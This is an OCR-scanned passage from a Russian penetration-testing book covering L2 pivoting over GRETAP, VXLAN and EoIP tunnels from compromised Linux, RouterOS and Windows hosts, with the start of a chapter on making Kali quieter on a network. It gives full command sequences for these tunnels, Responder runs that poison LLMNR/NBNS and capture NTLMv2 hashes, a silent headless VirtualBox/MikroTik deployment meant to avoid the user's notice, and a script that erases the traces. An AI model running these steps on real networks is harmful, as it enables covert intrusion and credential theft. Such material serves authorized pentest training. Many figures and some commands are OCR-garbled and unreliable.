была инкапсулирована в IР-заголовок, что доказывает характеристику протокола
IPIP (IP over IP).
GREТAP (L2)
GRETАР - это ТАР-интерфейс, который работает в режиме GRE. На самом деле,
протокол GRE может транспортировать не только IР-трафик, но и Ethemet-кaдpы .
В таком случае значение Protocol Туре будет равно Охб558 . Так что сейчас речь идет
о L2-туннелировании . L2-туннели позволяют злоумышленнику проводить атаки
канального уровня, использовать Responder (https://github.com/lgandx/Responder),
mitm6 (https://github.com/dirkjanm/mitm6) и прочие средства. В нашем сценарии
атакующий уже получил доступ к некой машине на DeЬian, именно с нее он будет
строить L2-туннель с помощью GRET АР-интерфейсов.
Этот вектор туннелирования будет развиваться из ранее созданного сценария
с GRЕ-туннелем, т. е. возникает туннель в туннеле . Потенциально же такая атака
может происходить из любой точки инфраструктуры как раз благодаря GRЕ­
инкапсуляции, которая будет транспортировать всю полезную нагрузку. Сама си­
туация «туннель в туннеле» бывает не всегда, это просто пример из головы
(рис. 9.6).
~ото:~--- ··--- · -
······-···-·········-···~
,0 .10:1 0 ~ 2 ~ 10.10.220.0,24 ~
Рис. 9.6. Схема сети с GRETАР
С настройками здесь будет посложнее по сравнению с LЗ-туннелями. В дело всту­
пают bridge (бриджи/мосты). Это специальные логические устройства, куда поме­
щаются физические интерфейсы. Чтобы обеспечить себя L2-доступом, атакующий
должен создать мост на взломанной машине, а также поместить туда ее физический
интерфейс и виртуальный Т АР-интерфейс, причем необходимо соблюдать порядок
команд и исполнить их как одну с помощью точки с запятой. Конфигурации L2туннелей не прощают ошибок: если вы где-то напутали, есть риск потерять доступ
к скомпрометированной машине, а это очень большой удар для nентестера.
Начнем с настроек на стороне атакующего. GRЕТАР-туннель между
10 . 10.10 . 1
(Kali) и 10.10.220.3 (целевая машина DeЬian с рутовым доступом):
sudo ip link add name thegretap type gretap local 10 . 10.10.1 rепюtе 10.10.220.3
sudo ip link set dev thegretap up
На стороне взломанной машины настройка происходит в несколько этапов :
□ создание GRET АР-интерфейса и его активация;
□ создание бриджа;
Используем провайдерские протоколы для пивотинга
189
□ добавление в бридж GRET АР-интерфейса;
□ удаление существующего адреса с интерфейса и его перемещение на bridge ( это
делают, чтобы не потерять сетевую связность, т. к. после добавления интерфей­
са в бридж сам интерфейс подчиняется бриджу, и по-хорошему бы стоит назна­
чить адрес на сам бридж);
□ добавление физического интерфейса ОС в бридж;
□ активация работы бриджа;
□ назначение адреса шлюза по умолчанию (когда мы удаляли адрес из интер-
исчезал и маршрут по умолчанию).
фейса -
sudo ip link add name thegretap type gretap local 10.10.220.3 remote 10.10.10.1
sudo ip link set dev thegretap up
sudo brctl addЬr bridge
sudo brctl addir bridge thegretap
sudo ip addr del 10.10.220 . 3/24 dev ethO; sudo ip addr add 10.10 . 220.3/24 dev bridge ;
s udo brctl addif bridge ethO; sudo ip link set dev bridge up; sudo route add -net О.О.О.О
netmask О.О.О.О gw 10 . 10.220. 254
Теперь на GRЕТАР-интерфейсе атакующего началось «движение». Мы видим здесь
присутствие протокола STP - это уже доказывает, что мы обеспечили себя именно
L2-туннелем, т. к. STP- протокол канального уровня (рис. 9.7).
С.~р•~,.,,~ !•om t"it'',<t't~p
•~
Е..:•
,., ,.
-□ lil @
••••.,
,._,
A.1,z,,
,., ' ,
,
.. ~
• illl&.il!JQ••n
,,,,.,.,~"
•-.~,
•• • ■
.......
ааа,П
~ - i- f
',.;,
l'~
S,,o,..,.,
Dt'li!WЧlu~
i"roto,:,:,,
ff02 : : 1: ff ... ICM...
10. 0000... : :
ARP
2 393.30... Nexoconvn 0 ... 8roadcast
L,rnq'h l"'o
86 Neighbor so licitation for fe80: : 20ес: bff: febe : б7аа
42Who has 10 . 10 . 220 . 254? Tell 10 . 10 . 220 . 2
о
5398.34
50:00:00:0
spa11n1ng-t
STP
б0Conf.
Root
= 32768/1/50:00:00:05:00:00
cost
=0
Port
Рис. 9.7. Трафик на GRЕТАР-интерфейсе
Теперь
необходимо
получить
адрес
на
10.10.220.0/24 (рис . 9.8).
s udo dhclient - v tapO; sudo route del default
GRETАР-интерфейс
из
пространства
Глава 9
190
о.
caster@kali: -
: ~$ sud.o dhclient -v thegretap ; sudo route del default
[sudo] password for caster:
Internet Systems Consortium DHCP Client 4.4.3 - Р1
Copyright 2004- 2022 Inte1·net Systems Consortium.
All rights reserved,
Fo1· info, please visi t https: //www.isc.org/software/dhcp/
Listening оп LPF/thegretap/2a:11:cf:38:13:7f
Sending оп
LPF/thegretap/2a:11:cf:38:13:7f
Sending оп
Socket/fallback
DHCPDISCOVER оп thegretap to 255.255.255.255 port 67 interval 8
DHCPOFFER of 10.10 . 220.4 from 10.10.220.254
DHCPREQUEST for 10.10.220.4 оп thegгetap to 255.255.255,255 port 67
DHCPACK of 10 .10, 220. 4 fron1 10 .10. 220. 254
bound to 10.10.220.4 -- renewal in 40737 seconds.
: $1
Рис. 9.8. Успешно полученный адрес на ТАР-интерфейсе
На этом настройка GRET АР подходит к концу, атакующий теперь может позволить
себе атаки канального уровня (рис. 9.9).
sudo responder -I thegretap
Таким образом можно провести L2-пивотинг с помощью GRET АР-интерфейсов.
Рис. 9.9. Перехваченный NTLMv2-SSP по GRЕТАР-туннелю
Используем провайдерские протоколы для пивdтинга
191
VXLAN (L2)
VXLAN (Virtual EXtensiЫe LAN) - сетевой протокол, позволяющий строить L2rуннели поверх UDP (UDP/4 789). VХLАN-пивотинr тоже может развиваться из
любой точки инфраструкrуры, но я повторю сиrуацию «туннель в туннеле». где
атакующий попал внутрь сети с помощью GRE. Опять же не зацикливайтесь на
этом, это просто пример. Мне было удобнее собирать практический мануал. нахо­
дясь в той же лабораторной сети в EVE-NG.
Машина атакующего и скомпрометированная
машина будут VТЕР'ами.
УТЕР
(Virtual Tunnel Endpoint) - устройства, на которых строится и терминирустся тун­
нель VXLAN, они занимаются инкапсуляцией и деинкапсуляцией VХLАN­
заrоловков (рис. 9.1 О).
Рис. 9.1 О. VХLАN-туннелирование
Присrупим к настройке rуннеля между атакующим
левой DеЬiаn-машиной (10.10.220.2).
(Kali Linux, 10.10.10.1) и це­
VNI (это идентификатор
Также назначим
VХLАN-туннеля), он будет равен 10. UDР-порт назначения с обеих сторон одина­
ковый -
4789. VXLAN может работать в двух режимах: multipoint и poiпt-to-poiпc
я выберу второй вариант.
sudo ip link add name thevxlan type vxlan id 10 local 10.10.10.1 remote 10.10.220.2
dstport 4789
sudo ip link set thevxlan up
На стороне целевой машины с Debian VXLAN настраивается так же, однако придется снова
попотеть над настр~йкой бриджа, как это было с GRETAP.
sudo ip link add name thevxlan type vxlan id 10 local 10.10.220.2 remote 10.10.10.1
dstport 4789
sudo ip link set thevxlan up
sudo brctl addЬr bridge
sudo brctl addir bridge thevxlan
sudo ip addr del 10.10.220.3/24 dev ethO; sudo ip addr add 10.10.220.3/24 dev bridge;
sudo brctl addif bridge ethO; sudo ip link set dev bridge up; sudo route add -net О.О.О.О
netmask О.О.О.О gw 10.10.220.254
Глава 9
192
На этом настройка VXLAN с обеих сторон заканчивается, на VХLАN-интерфейсе
атакующего мы видим трафик протоколов канального уровня (STP, СОР), что дока­
зывает получение именно L2-доступа (рис. 9.11 ).
(Jplu1,ngtrom1r,,,..V1.l.in
F"
, '""
fJ,,
,-.,
tц•~••
A.ri;ita•
c,,J, ,'
~
1,..,..,.,., .. ~
\\,rt!t•
т"~,
~D,4@:.lt:!C!!IQ••"·•• ll! ■
н"1:;.
DDD~
-
• "1~
•~,;,
C,,:;u!<I'
10. 0000 . 50. 00: 00: 0
"~,1 n;it w"
Р1~1"
Spanning- t
STP
cl
~r,пtr-
'>t~
60 conf. Root
= 32768/1/50: 00: 00: 05: 00: 00
---- -
Cos t
с,
-
=0 Port ,
not
4 5 . 6954 ... 50 : 00 : 00 : 0 ... CDP/VТP/DT ... CDP
324 Device ID: Switch
Po r t 1D : Gi gabitEthernetEJ/ 1
Рис. 9.11. Трафик на VХLАN-интерфейсе атакующего
Затем получаем адрес на интерфейсе VXLAN с последующим удалением шлюза по
умолчанию (рис. 9.12).
sudo dhclient -v tapO; sudo route del default
И в этот раз не побрезгую запустить Responder (рис. 9.13).
.а
c.astп;.k,1 1 i : ~$ sudo dhclient -v thevxlan ; sudo route del default
Internet Systems Consortium DHCP Client 4.4.3-Pl
Copyright 2004-2022 Internet Systems Consortium.
All rights reserved.
For info, please visit https://lll'.Wl.isc.org/software/dhcp/
Listening оп LPF/thevxlan/ba:2f:ab:a5:a0:ed
LPF/thevxlan/ba:2f:ab:a5:a0:ed
Sending оп
Sending оп Socket/fallback
DHCPDISCOVER оп thevxlan to 255.255.255.255 port &7 interval &
DНCPOFFER of 10.10 . 220.5 frorn 10.10.220.254
DHCPREQUEST for 10.10.220.5 оп thevxlan to 255.255.255.255 port &7
DНСРАСК of 10.10.220.5 from 10.10.220.254
bound to 10.10.220.5 -- renewal in 41290 seconds.
с;·; t("l'~i.';,1. 'J : . . . $
Рис. 9.12. Полученный адрес на VХLАN-интерфейсе
Используем провайдерские протоколы для пивотинга
193
Рис. 9.13. Перехваченный NTLMv2-SSP по VХLАN-туннелю
EoIP (L2)
EoIP (Ethemet over IP) -
это проприетарный протокол
строить L2-туннели поверх Интернета,
суляция. По факту EoIP -
MikroTik, позволяющий
но для этого используется GRЕ-инкап­
это абсолютно то же самое, что и GRET АР-интерфейсы
в Linux, различия лишь в Proto Туре (для EoIP в GRE это значение Ох64ОО, для
GRET АР-туннелей - Ох655В).
При постэксплуатации RouterOS (именно эта система используется на оборудова­
нии
MikroTik) атакующий может построить L2-туннель между собой и целевым
бриджем с помощью EoIP, однако для работы EolP в дистрибутивах Linux нужен
модуль eoip (https://github.com/katlogic/eoip). Атакующему достаточно создать
RouterOS, затем поместить его внутрь бриджа (в 90% случаев
в настройках RouterOS используются бриджи).
ЕоIР-интерфейс в
На своей стороне атакующему достаточно собрать модуль из репозитория и запус­
тить интерфейс, при этом создав Т АР-интерфейс для корректной работы модуля от
katlogic (рис. 9.14).
Глава 9
194
~
о
218.123.134.80/24
~
128.78.23 .45/24
WAN
Attacker
~
f-~➔
SomeLAN
RouterOS
Рис. 9.14. Сеть с пограничным RouterOS
Атакующий из Интернета может оказаться в целевой сети на уровне
L2, но это
крайне специфический сценарий и имеет право на существование только в момент
постэксплуатации.
Настройки на стороне атакующего выглядят следующим образом: создается Т АР­
интерфейс, запускается модуль, туннелю задается 1D 100:
sudo ip tuntap add mode tap tapO
sudo ip link set tapO up
sudo ./eoip tapO 218.123.134.80 128.78.23.45:100
На стороне RouterOS аналогично, но при этом нужно поместить созданный ЕоIР­
интерфейс в существующий бридж внутри
RouterOS для получения L2-доступа.
Тут используется версия RouterOS vб:
/interface eoip add name=thenightmare local-address=l28.78.23.45
remote-address=218.123.134.80 tunnel-id=lOO
/interface bridge port add interface=thenightmare bridge=LAN
После этих настроек ЕоIР-туннель будет установлен. На Т АР-интерфейсе атакую­
щего уже есть трафик, адрес по DHCP получен (рис. 9.15, 9.16).
Таким образом можно провести своеобразный пивотинг сквозь RouterOS и прово­
дить атаки канального уровня. Вектор крайне необычный, однако есть шанс, что им
можно будет воспользоваться в корпоративных сетях.
Cap l11r!n9 fl'omt•pO
Fltt
l;d,t
Vlew
• □ •о
Go c;apture
Ащ#;уzе
Stl11'J.tl(,;
T~pholly
TOO(s
• Т1mе
--------·-
Source
Oe$t.11>•t1011
Ptotocol
:.,
5 4 .8343" 0.0.0.0
6 4 .8493. 50 : 00: 00 : 0 ...
7 4. 8495 50 : 00: 00 : 0 ...
8 5 .3530 ... 172. 20 .100...
9 5. 3554" 0.0.0.0
10 5. 3594 ... 172. 20.100 ...
115. 8460 ... 50 : 00 : 00 : 0 ...
12 5. 8460. 1е: 45: 8f: е ...
13 5. 8489 ... 172 . 20 . 100 ...
:• ••
О
Lerщth
- --· -
с:,
-
+
lrifo
255. 255. 25 ... DHCP 342 DHCP D1scover • Transact1on ID 0х58ее604е
1 0. 0000 ... 0. 0. 0. 0
•
не1р
lil8t.!18 ц <-, ~ ·<•· ~ ■ D а DIIJ
No
Wl~s
00
255. 255. 25 ...
Broadcast
Broadcast
17 2. 20 . 100 ...
255. 255. 25 ...
172 . 20 .100...
Broadcast
50 : 00: 00 : 0 ...
172. 20 .100 ...
О
00
Root = 32768/0/50:00:00:08:00:01 cost = 0 Port
DHCP 342 DHCP Discover - Transaction ID 0х58ее604е
ARP
42Who has 172.20.100.249? Tell 172.20.100.254
ARP
42Who has 172.20.100.249? Tell 172.20.100.254
DHCP 342 DHCP Offer
- Transaction ID 0х58ееб04е
DHCP 342 DHCP ReqL1est
- Transaction ID 0х58ееб04е
DHCP 342 DHCP АСК
- Transaction ID 0Х58ееб04е
ARP
42Who has 172 . 20.100.249? Tell 172.20.100.254
ARP
42172.20.100.249 is at 1e:45:8f:e8:f7:dc
ICMP 70 Echo ( ping) reques t
id=0x7800, seq=256/1, t t 1=255 ( rep
••
•
•
••
О
о.
:оо
•
•
••
• ••
• t
, Frame 4: 53 bytesl§:~ 1, wнe ,' (424 bHs), 53 bytes captured (424 blts) on 1nterface tap0,
, IEEE 802. 3 Ethernet
, Log1cal- L1nk Control
, Spann1ng Tree Protoco 1
Рис. 9.15. Трафик на ТАР-интерфейсе внутри EolP
1d
01 8
03 0
00 0
02 0
Используем провайдерские протоколы для пивотинга
caster@kali: - /eoip
195
х 1 --....
Force ESS downgrade
[ +] Generic Options:
Responder NIC
Responder IP
Responder IPv6
ChaHenge set
Don' t Respond То Names
[ +] Current Session VariaЫes :
Responder Machine Name
Responder Domain Name
Responder DCE•RPC Port
[ +] Listening for events ...
[•] [NDT·NS] Poisoned ans"er sent to 172.20.100.259 for rume VEINS (service: File S..rver)
[•] [-.S] Poisoned ans..er st,nt to 172.29.100.259 for na11e VEINS .local
[•) [LUINR] Poisoned answer sent to fe80::a4a3:fca4:789a:de44 for na11e VEINS
[•] [-S] Poisoned answer sent to fe80::a4a3:fca4:789a:de44 for na11e VEINS.local
[•] [-.S] Poisoned ans...,r sent to 172.28.100.250 for na11e VEINS.local
[•] [LI.МNR] Poisoned answer sent to 172.20.100.2511 for па11е VEINS
[•) [-.S] Poisoned ans...,r sent to fe811: :a4a3:fcalo:789a:de44 for пат~, VEINS . local
[•] [LUINR] Poisoned answer sent to fe80: :a4a3:fca4:789a:delo4 for па11е VEINS
[•] [LUINR] Poisoned answer sent to 172.20.100.2511 for na11e VEI/1S
fe80 : :a4a3:fca4 :7 89a:de44
[SМВ] NТLМv2 - SSP Client
[SМВ.] NТLМv2 - SSP Username : . \user
: user :: . : аЫ7968827сас4б1: 773 B8822312 1D39FD4FЗЗSC4CC841E8B: 0101000110000000080472780911EI
[SМВ] NТLМv2-SSP Hash
370044003900350044004C004A0053004 70004003400570049004E002D004B004A00370044003900350044004C004A005301147002EOOS21103B•
0014005200380043 005А00 2E004C004f 0043 0041004(000 7000800804 72780911EDA01060004000200000008003000300000000000000001110•
Рис. 9.16. Отработавший Responder внутри EolP
Тlивотинг против Windows
Как вы заметили, все описанные выше приемы продемонстрированы именно на
Linux. Почему так получилось? Потому что десктопные редакции Windows не под­
держивают протоколы туннелирования вроде GRE и VXLAN. Возможно, их под­
держка есть в Windows Server, но в эту тему я не углублялся. Однако и здесь есть
решение, хотя и довольно экзотическое.
Рис. 9.17. Вот как это выглядело на бумаге
196
Глава 9
В июле этого года я опубликовал в журнале «Хакер» «ремикс» (https://xakep.ru/
2023/08/02/caster-remix/) статьи «Пингвин-супершпион» (https://xakep.ru/2020/
06/17/windows-mitm/) в исполнении s0i37 (https://t.me/s0i37_cbannel). Мне пришла
в голову мысль развернуть виртуальный маршрутизатор СНR на VirtualВox внутри
самой Windows (рис. 9.17). Так я провел L2-пивотинг и атаки канального уровня
в целевой сети, используя хает с Windows. Метод скорее экспериментальный, но
работает. Виртуальный СНR поддерживает протоколы EoIP, VXLAN, IPIP,
GRE
идр.
Выводы
В этой главе я продемонстрировал несколько техник пивотинга с использованием
провайдерских протоколов. Это концепция в духе «living off the \and»: я просто ис­
nользовал особенности сетевых протоколов и добился импакта для атакующей сто­
роны. При этом я не использовал сторонние пентестерские утилиты. Методы край­
не специфические, но если вы видите всю картину и знаете матчасть, то у вас не
возникнет проблем, и использование этих приемов приведет к успеху.
ГЛАВА 10
Используем виртуальный MikroTik
для постэксплуатации Windows
Недавно я
нашел новый способ организации L2-туннелирования против сетей
Windows. Вдохновившись идеей «пингвина-супершпиона», подробно описанной
в журнале «Хакер» (https://xakep.ru/2020/06/17 /windows-mitm/), я продемонстри­
рую постэксплуатацию Windows с помощью виртуального MikroTik CHR, который
позволит провести пивотинг и получить L2-доступ к целевой сети.
17 июня 2020 года в «Хакере» вышла статья Андрея Жукова (s0i37) про интерес­
ный способ постэксплуатации Windows: для дальнейшего продвижения по сети и
перехвата учетных данных внутри создается виртуальная машина на
Linux. Для
достижения своей цели Андрей использовал VirtualВox в silent-peжимe. Основная
идея в том, чтобы виртуальная машина на Linux работала в режиме моста, причем
в сам мост на Linux помещается интерфейс, который смотрит в сторону реальной
ОС. Так у этой машины появляется L2-доступ, который открывает возможности
для атак канального уровня, таких как АRР-спуфинг или LLMNR/NBNS-cпyфинr.
Важный момент: эта техника требует прав администратора на скомпрометирован­
ной Windows-мaшинe.
Caster Remix
Я вдохновился идеей
s0i37, когда пытался найти новые способы L2-туннелиро­
вания против Windows. Мне пришла в голову мысль запустить виртуальный роутер
MikroTik CHR внутри реальной Windows с помощью VirtualВox.
CHR (Cloud Hosted Router) -
это виртуальный маршрутизатор MikroTik, который
можно установить с помощью технологий виртуализации. И у него тоже есть воз­
можность деплоя на VirtualВox. Я выбрал именно его, т. к.
RouterOS 7 - очень
VXLAN,
гибкий и многофункциональный инструмент. В нем есть необходимый
который работает стабильно. На основе идеи s0i37 я придумал следующую концеп­
цию (рис. 10.1 ):
□ деплой CHR внутри Windows при постэксплуатации;
□ сетевая настройка CHR в режиме bridge в VBOX;
Глава 10
198
V\tCТ\IA\.,
V)(~N INI
<..~~\
Рис. 10.1. Схема исследования
□ создание полноценного L2-туннеля с VXLAN, бриджинr интерфейсов и получение доступа.
INFO
Этот вектор работает корректно только для реальных физических машин, т . к . при экс­
плуатации виртуальных машин могут возникнуть проблемы с прохождением трафика
из-за того , что на интерфейсе скомпрометированной виртуалки может не быть нераз­
борчивого режима.
Я построил достаточно небольшую сеть для демонстрации ремикса, но мой метод
r.
к . Еthеmеt-фреймы
может работать из любой точки сетевой инфраструктуры ,
в туннеле будут передаваться поверх LЗ-соединений с помощью VХLАN-тунне­
лирования .
CHR Deploy
MikroTik CHR мы используем в качестве L2-шлюза, но он будет работать на основе
VirtualВox. Вот только VirtualВox нужно каким-то образом установить на целевой
хает, а при этом не всегда есть возможность обеспечить себя графической оболоч­
кой . Я предусмотрел этот сценарий и нашел способ «тихой» установки Virtua\Box,
а также способ организации виртуальной машины.
Сам VirtualВox в silent-peжимe устанавливается таким образом (я использую вер­
сию 7.0.8):
C: \remix>VirtualBox- 7. 0. 8- 156879-Win. exe - s
Теперь создаем виртуальную машину CHR. Если нет GUI, это можно сделать с по­
мощью VBoxManage . ехе. Версия CHR -
7.10.2.
Я приготовил с~:~ециальный Ьаt-файл для автоматизации процесса. Прошу заметить,
что я использую образ диска VDI, который буду подключать к созданной вирту­
альной машине . Образы VDI обычно скачиваются с официального сайта MikroTik.
Испопьзуем виртуальный Mikro Тik для постэксплуатации Windows
199
Я все настраиваю так, чтобы машина работала в режиме моста с неразборчивым
режимом. При настройке сети вам понадобится установить точное имя интерфейса
в ОС, но его легко узнать с помощью команды Get-NetAdapter в оболочке PowerShell:
C:\remix>remix.bat
!
remix.bat
@echo off
set VМNAМE=CasterRemix
set VММЕМОRУ=512
set VМCPUS=2
set VМDISK=C:\remix\chr-7.10.2.vdi
set VМNICl=bridged
set VМADAPTERl="Intel(R) Wi-Fi 6 АХ201 160MHz"
set VМPROMISCl=allow-all
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name "%VМNАМЕ%" --register
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VМNАМЕ%" --memory %VМMEMORY%
--cpus %VМCPUS%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storagectl "%VМNАМЕ%" --name "SATA
Controller" --add sata --controller IntelAНCI
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storageattach "%VМNАМЕ%" --storagectl
"SАТА Controller" --port О --device О --type hdd --medium "%VМDISK%"
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VМNАМЕ%" --nicl %VМNIC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VМNАМЕ%" --bridgeadapterl
%VМADAPTER1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm "%VМNАМЕ%" --nicpromiscl
%VМPROMISC1 %
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm "%VМNАМЕ%" --type headless
Параметр --headless указывает на то, что виртуальная машина запустится в тихом
режиме, чтобы не привлекать лишнее внимание пользователя.
После запуска CHR маршрутизатор получит адрес автоматически, т. к. это заложе­
но в его конфигурации по умолчанию. Но нам необходимо найти сам адрес мар­
шрутизатора. Это можно сдела:гь, например, с помощью классического сканирова­
ния портов ТСР/22, ТСР/8291 в сети 192.168.1.0/24, где запущен сам CHR в бридже.
В моем случае адрес -
192 .168 .1. 36.
Теперь подключимся к панели управления CHR (например, по SSH или Winbox)
и сделаем начальную настройку. Нам понадобится:
□ выключить протоколы обнаружения соседей (Discovery Protoco\s );
□ выключить протоколы STP, чтобы не нарушить работу легитимного дерева STP;
□ задать имя системы в CHR (hostname );
□ создать специальный бридж, переместить туда интерфейс, настроить работу
/ip/dhcp-client для сохранения связности с CHR. Когда интерфейс помещается
200
Глава 10
в бридж, он подчиняется бриджу, и для дальнейшей связи адрес нужен именно
на бридже. Несмотря на изменение настройки /ip/dhcp-client, адрес CHR оста­
нется таким же.
[admin@MikroTi k] > /interface/br idge /add name=bridgel;
/inter face /bridge/set protocol-mod~=none numЬers=O;
/interface/bridge/port add interface=etherl bridge=bridgel;
/ip dhcp-client/remove О;
/ip/dhcp-client/add interface=bridge;
/ip/neighЬor/discovery-settings/set discover-interface-list=none;
/sys tem/ identity/se t name=CasterRemix
[admin@CasterRemix] >
Также важно, что все это нужно сделать одной командой, иначе вы навсегда утра­
тите доступ к CHR на уровне сети, а весь процесс придется начинать заново.
VХLАN-туннелирование
В качестве протокола туннелирования я выбрал YXLAN . Он позволяет передавать
L2-фреймы поверх протокола UDP (порт по умолчанию UDP/4789), т. е. предостав­
ляет возможность организовать L2-туннель между атакующей системой и CHR.
Наша цель -
сеть 192 .168 .1. О/24, к которой получим L2-доступ (рис. 10.2).
~
дttac:ker Network
'
~~➔
~~➔
.GW1
GW2
~
~
SW1
.
SW2
172.10.200.0124
~
Target Network
192.168.1.0/24
Рис. 10.2. Лабораторная сеть
Между атакующим и
MikroTik будет создан туннель YXLAN, причем они будут
устройствами УТЕР и станут работать в режиме точка-точка (point-to-point), без
объявлений
MCAST. УТЕР (Yirtual Tunnel Endpoint) - устройства, на которых
YXLAN, они занимаются инкапсуляцией и
деинкапсуляцией УХLАN-заrоловков (рис. 10.3).
строится и терминируется туннель
Используем виртуальный Mikro Тik для постэксплуатации Windows
201
' tthO
F~r
ЕФI
V1tw
Go
L6P'"1rt
~YZt
stat•Slн:~
Ttltphofly
WortltU
ТооЬ
н.1р
• □ .fOlilll:il!l<>••~·••· ll! ■ aaolll
~о
-
-
•~Umnt
nmr
Sourcr
Protocol
Dt-Sll~tlon
- -
--------- -
-
-- -
-----
-
-
-
- -
-
--
V'!~h lnfo
0х7171 АААА OMEN АААА
ех7171 АААА OMEN АААА
723 65.0360 ... 192.168.1.39 192.168.1.47 LLMNR
1 724 65 . 0360 ... 192.168.1.39 192.168.1 . 47 LLMNR
725 65. 0373.. fe80: : b4d3: Ь ... fe80: : dbce: 8... LLMNR
726 65.0383. 192.168.1.39 192.168.1.47 LLMNR
729 65.8399" 192.168.1.39 192 . 168.1 . 47 LLMNR
730 65.0399 ... 192 . 168.1.39 192.168.1.47 LLMNR
732 65 . 0482 ... 192 .168 .1. 39 192 .168 .1. 47 LLMNR
734 65.8402 ... 192.168.1.39 192.168.1.47 LLMNR
739 65. 0427 ... fe80: : b4d3: Ь ... fe80: : dbce: 8... LLMNR
fe81
146 Standard query response
fe81
146 Standard query response
154 Standard query response 0xbddd А OMEN А 192 .168 .1
134 Standard query response 0xbddd А OMEN А 192 .168 . 1
146 Standard query response 8х7171 АААА OMEN АААА fe81
146 standard query response 0х7171 АААА OMEN АААА fe81
134 standard query response 0xbddd А OMEN А 192 . 168 .1
134 Standard query response exbddd А OMEN А 192 .168 .1
166 Standard query response 0х7171 АААА OMEN АААА fe81
LLMNR
LLMNR
134 Standard query response exbd d А ОМЕN А 192 .168 .1
146 standard query response ех7171 АААА OMEN АААА fe81
~
74165.8444 .. 192.168.1 . 39
74265 . 0447 ... 192.168.1.39
192.168 . 1.47
192.168.1.47
.... .
.
.
:
Рис. 10.3. Пример инкапсулированной с помощью VXLAN полезной нагрузки
Важно, чтобы перед настройкой был явный маршрут /3 2 до CHR через шлюз, с ко­
торым будет инициирован туннель . Иначе созданный туннель может перекрыть
достижимость до
шлюз
CHR,
что вызовет разрыв туннеля. Маршрут создается через
по умолчанию для
атакующего (в случае данной лабораторной сети-
172.10.200.254).
caster@kali: ~$ sudo ip route add 192.168.1.36/ 32 via 172 . 10.200.254
На
стороне
атакующего
туннель
VXLAN
будет
построен
между
адресами
172 .10.200.252 и 192.168.1.36 (Attacker > CHR), идентификатор туннеля (VNI)- 10.
caster@kali: ~$ sudo ip link add name evilvxlan type vxlan id 10 local 172.10.200.252
remote 192.168.1 . 36 dstport 4789
caster@kali:~$ sudo ip link set evilvxlan up
На стороне CHR (RouterOS v7) тоже необходимо, чтобы созданный интерфейс
VXLAN на CHR был помещен в бридж, где находится интерфейс, смотрящий
в сторону реальной ОС (etherl), т. к. CHR на уровне VirtualВox находится в режиме
моста .
[admin@CasterRemix] > /interface/vxlan add name=vxlanl port=4789 vni=lO
[admin@CasterRemix] > /interface/vxlan/ vteps interface=vxlanl
remote-ip=l72.10. 200.252 port=4789
[admin@CasterRemix] > /interface/bridge/ por t add interface=vxlanl numЬers=O
После применения этой конфигурации туннель VXLAN будет построен согласно
схеме, показанной на рис. 10.4.
Глава 10
202
Рис. 10.4. Карта VХLАN-туннелирования
Атака
Теперь атакующий должен получить адрес на интерфейсе evilvxlan, и L2-доступ
будет обеспечен (рис. 10.5). Огкрываются возможности для атак канального уров­
ня. Также по DHCP может прилететь второй шлюз, заданный по умолчанию, что
ра_зорвет туннель. Так что будьте осторожны. Чтобы избежать этой проблемы,
я использую команду sudo
route del default.
caster@kali:~@ sudo dhclient -v evilvxlan; sudo route del default
caster@kali:~@ sudo responder -I evilvxlan -vvv
Ниже -
пример отработавшей внутри VХLАN-туннеля утилиты responder и отрав­
ление запросов LLМNR/NBNS/MDNS (рис. 10.6).
Рис. 10.5. Связь атакующего с целевой сетью по L2
Используем виртуальный Mikro Тik для постэксплуатации Windows
203
Рис. 10.6. NetNTLMv2-SSP-xeш пользователя darkstep
Зачистка
Когда понадобится затереть следы, необходимо выключить и удалить созданную
виртуалку с
MikroTik CHR. Также нужно удалить саму VirtualВox. Естественно,
в si\епt-режиме.
1
delete-remix.bat
@echo off
set VМNAМE=CasterRemix
204
Глава 10
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" controlvm "%VМNАМЕ%" poweroff
"C:\Program Files\Oracle\VirtualBox\VBoxМanage.exe" unregistervm "%VМNАМЕ%" --delete
wmic product where name="Oracle VМ VirtualBox 7.0.8" call uninstall /nointeractive
пndir /s /q c:\remix
Выводы
Итак, я продемонстрировал технику L2-туннелирования против машин Windows.
Метод специфический, но, на М(,)Й взгляд, вполне практичный.
ГЛАВА
11
Закаляем дистрибутив Kali Linux
и учимся не шуметь в сети
Дистрибутив Kali Linux невероятно популярен среди пентестеров. Однако при про­
никновении в сеть с настройками по умолчанию он может создать много шума
в эфире, который не останется незамеченным. В этой главе я расскажу о харденин­
ге Kali и о том, как научить Linux работать в наиболее тихом режиме.
Чтобы
можно
было
автоматизировать
настройку,
я
создал
инструмент
FЗ 1
(https://github.com/casterbyte/F31), написанный на Bash. Дальше мы подробно раз­
берем, что именно он делает.
FЗ I не гарантирует стопроцентный обход систем, за которыми приглядывает SOC,
но вы значительно снизите вероятность обнаружения. Каждый пентест сети уника­
лен, и написать универсальное решение вряд ли возможно. Уверен, что есть и дру­
гие способы уменьшить шум в эфире. Но мы сосредоточимся на главных моментах .
Above
еще один мой инструмент, это сетевой сниффер протоколов для поиска
Above -
уязвимостей в сетевом оборудовании. Его работа основана только на анализе тра­
фика, что не создает никакого шума в эфире.
Он охватывает следующие протоколы:
□
L2: СОР, LLDP, DTP, 802.\Q Frames;
□ LЗ: OSPF, EIGRP, VRRP, HSRP;
L7: LLМNR, NBT-NS, MDNS, SSDP, MNDP.
Кстати говоря, Above недавно включили в Kali Linux, поэтому его можно устано­
вить прямо из репозиториев Ka\i:
□
sudo apt update && sudo apt install above
аЬоvе --help
Чтобы
начать
анализировать
трафик
(рис. 11. 1),
следует
команду:
sudo above --interface ethO --timer 250 --output-pcap vettel.pcap
использовать
такую
Глава 11
206
Здесь:
□
--interface ethO -
□
--timer 250 -
интерфейс системы;
время, в течение которого будет проводиться анализ;
□ --output-pcap-фaйл дампа трафика, куда Above запишет все, что сможет найти.
а
CclS
Invisi Ы e netwo
Designed f or penteste
Version 2.3, Со
Author: Caster, ii}Nearecaster
[+] Start Sn i ffing .. .
